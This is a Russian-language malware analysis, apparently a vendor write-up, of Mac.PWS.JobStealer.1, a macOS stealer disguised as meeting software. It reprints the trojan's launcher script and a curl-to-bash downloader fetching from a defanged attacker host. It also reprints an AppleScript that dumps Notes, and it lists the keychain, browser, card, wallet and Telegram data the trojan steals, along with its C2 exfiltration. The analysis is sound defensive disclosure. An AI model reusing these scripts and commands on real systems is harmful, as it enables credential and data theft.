Mac.PWS.JobStealer.1

SHA1-хеши:

• f0b8ef7ba2dc9dcc6156ed5d26964798bbf5d29e (MeetLabs.dmg — образ диска .dmg)
• 213407de0ea5f352e2ab66cdb91e7e633c54cd1c (installer — исполняемый файл трояна)

Обфускатор: Rust OLLVM (indirect global variable)

Описание

Вредоносная программа, работающая на компьютерах под управлением macOS. Она похищает различную информацию с зараженных устройств, включая сохраненные логины и пароли в браузерах, куки (cookies) и данные из криптокошельков. Злоумышленники выдают это троянское приложение за ПО для проведения онлайн-конференций и распространяют его через вредоносные сайты.

Mac.PWS.JobStealer.1 написан на языке программирования Rust. Код трояна обфусцирован Rust OLLVM, что усложняет его анализ. Кроме того, в трояне активно применяется интерфейс внешних функций (FFI — Foreign Function Interface) к Objective-C, что позволяет Mac.PWS.JobStealer.1 создавать фишинговые окна и запускать OSA-скрипты.

Принцип действия

Распространение

Mac.PWS.JobStealer.1 может скачиваться с вредоносных сайтов в двух форматах:

• в виде образа диска .dmg, содержащего исполняемый файл трояна и скрипт для его запуска;
• непосредственно в виде исполняемого файла.

В первом случае при установке из dmg-образа скрипт присваивает необходимые атрибуты троянскому исполняемому файлу и запускает его:

DIR="$(cd "$(dirname "$0")" && pwd)"
APP_NAME="installer"
APP_PATH="$DIR/.back/$APP_NAME"
TEMP_APP="/tmp/$APP_NAME"
rm -rf "$TEMP_APP"
cp -r "$APP_PATH" "$TEMP_APP"
xattr -c "$TEMP_APP"
chmod +x "$TEMP_APP"
clear
nohup /tmp/installer &>/dev/null &
clear

Во втором случае злоумышленники приводят на вредоносном сайте bash-команду вида curl -s hxxps[:]//macos[.]meetix[.]app/install | nohup bash &, которую просят скопировать и выполнить в терминале. При ее выполнении с сайта загружается скрипт, скачивающий и запускающий исполняемый файл Mac.PWS.JobStealer.1:

#!/usr/bin/env bash
SOFT_NAME="Meetix"
INSTALL_DIR="/usr/local/bin"
DOWN_URL="hxxps[:]//macos[.]meetix[.]app/installer"
echo "Installing the app..."
TMP_FILE=$(mktemp)
trap 'rm -f "$TMP_FILE"' EXIT
curl -fsSL "$DOWN_URL" -o "$TMP_FILE"
chmod +x "$TMP_FILE"
"$TMP_FILE" > /dev/null

Выполнение

При запуске Mac.PWS.JobStealer.1 расшифровывает строку c URL hxxps[:]//526eff9f8bb7aafd7117ca5e33a6a183@o4509139651198976[.]ingest[.]de[.]sentry[.]io/4509422649213008, ведущим на легитимный сервис мониторинга активности приложений. При отсутствии этого URL, либо в случае ошибки его обработки Mac.PWS.JobStealer.1 пытается получить другой URL из переменной SENTRY_DSN.

Независимо от результата обработки целевого URL вредоносная программа проверяет окружение на наличие следующих переменных: SENTRY_RELEASE, SENTRY_ENVIRONMENT, HTTP_PROXY, HTTPS_PROXY, SSL_VERIFY.

Троян активно использует функции Objective-C для работы с объектами Core Foundation. В частности, при помощи метода sharedApplication() класса RSTApplication создается Cacao-приложение.

Mac.PWS.JobStealer.1 использует метод языка Rust https://github.com/apache/teaclave-sgx-sdk/blob/b635249a1cbf55d5eb15819b4578827f2a27d8a0/sgx_sync/src/once.rs#L150 для вызова функции, с помощью которой устанавливает обратные вызовы на основные состояния цикла жизни созданного Cacao-приложения. Основная функциональность привязана к состоянию applicationDidFinishLaunching:. При переходе приложения в это состояние троян переходит к выполнению основной вредоносной деятельности.

1. Троян получает информацию о версии операционной системы и UUID зараженного компьютера, исполняя команду ioreg -rd1 -c IOPlatformExpertDevice через оболочку ZSH (Z shell).

2. Пытается соединиться с C2-сервером hxxps[:]//cloudproxy[.]link/m/opened. В случае неудачи отображает окно с текстом Cannot connect to the server. Please reinstall or use VPN..

3. Демонстрирует окно с просьбой ввести пароль от учетной записи пользователя Mac. Если пароль неверный, троянская программа исполняется в режиме force_mode.

4. Копирует файлы /Users/%USERNAME%/Library/Keychains/login.keychain-db и /Library/Keychains/login.keychain.

5. Пытается получить доступ к данным веб-браузеров Chrome, Opera, Brave, OperaGX, Vivaldi, Edge, Arc и CocCoc по следующим параметрам: имя браузера, имя браузера в списке процессов, имя хранилища.

Далее проходит по списку целевых браузеров и находит следующие данные:

• Cookies (использует код https://github.com/hakaioffsec/browservoyage/blob/main/src/chrome/macos.rs#L329).
• Браузерные расширения криптокошельков. В первую очередь пытается найти расширение с идентификатором hnfanknocfeofbddgcijnmhnfnkdnaad — Coinbase Wallet. Также имеет зашифрованный список других кошельков, включающий 298 позиций (приведены ниже).
• Данные банковских карт из сохраненного списка автозаполнения (использует код на основе https://github.com/lusca0x01/MaldevTechniques/blob/9d5bd787a749017c73d275899e89685bbaaae46e/SRIS/src/browser/database.rs#L144).
• Пароли из сохраненного списка автозаполнения.

6. Получает внешний IP-адрес, обращаясь к hxxps[:]//freeipapi[.]com/api/json.

7. Собирает информацию об операционной системе.

8. Собирает файлы мессенджера Телеграм, расположенные в /Library/Application Support/Telegram Desktop/tdata и /Documents/temp_data/Apps/Telegram.

9. Выполняет OSA-скрипт, который получает доступ ко всем запискам пользователя из стандартного для macOS приложения Notes и сохраняет их в файл. Скрипт имеет следующий вид:

tell application "Notes"
    repeat with theAccount in accounts
        repeat with theFolder in folders of theAccount
            repeat with theNote in notes of theFolder
                set noteTitle to name of theNote
                if noteTitle is "" then set noteTitle to "Untitled"
                set safeTitle to do shell script "echo " & quoted form of noteTitle & " | tr -cd '[:alnum:] _-'"
                set filePath to "/" & safeTitle & ".txt"
                set noteBody to body of theNote
                set fileRef to open for access filePath with write permission
                set eof of fileRef to 0
                write noteBody to fileRef
                close access fileRef
            end repeat
        end repeat
    end repeat
end tell

10. По наличию каталогов /Applications/Ledger Live.app и /Applications/Trezor Suite.app определяет присутствие в системе приложений криптокошельков Ledger Live и Trezor Suite. Данные этих кошельков не копируются, троян лишь информирует C2-сервер о факте их наличия.

11. Помещает все собранные данные в ZIP-архив, который затем загружает на C2-сервер hxxps[:]//cloudproxy[.]link/m/opened.

12. Формирует JSON с информацией о полученных данных и загружает его по адресу sentry[.]io.

Структура JSON:

• 'ip':   ,    — поле ipAddress из ответа hxxps[:]//freeipapi[.]com/api/json;
• 'geo':   ,    — поле countryName из ответа hxxps[:]//freeipapi[.]com/api/json;
• 'build_name':   ,    — зашитое в коде трояна значение 'N9T';
• 'build_version':   ,    — зашитое в коде трояна значение '9.9.10';
• 'filename':   ,    — результат выполнения функции _NSGetExecutablePath();
• 'pers_password':   ,    — пароль от учетной записи пользователя Mac, полученный с помощью реализованного в функции rst_phish_lpe фишингового окна;
• 'passwords':   ,    — число извлеченных из браузеров паролей;
• 'cookies':   ,    — число извлеченных из браузеров файлов cookie;
• 'wallets':   ,    — число извлеченных из браузеров дампов с данными расширений-криптокошельков;
• 'credits':   ,    — число извлеченных из браузеров данных банковских карт;
• 'is_vm':   ,    — всегда указывается значение True;
• 'hardwares':   ,    — через запятую указываются строки Trezor и Ledger при наличии соответствующих приложений;
• 'force_mode': — режим, при котором пароль, введенный пользователем в фишинговое окно, неверный. В этом случае поле pers_password остается пустым.

Список целевых расширений-криптокошельков

Зашифрованный список браузерных расширений-криптокошельков, данные которых пытается извлечь Mac.PWS.JobStealer.1:

Индикаторы компрометации
Новость о трояне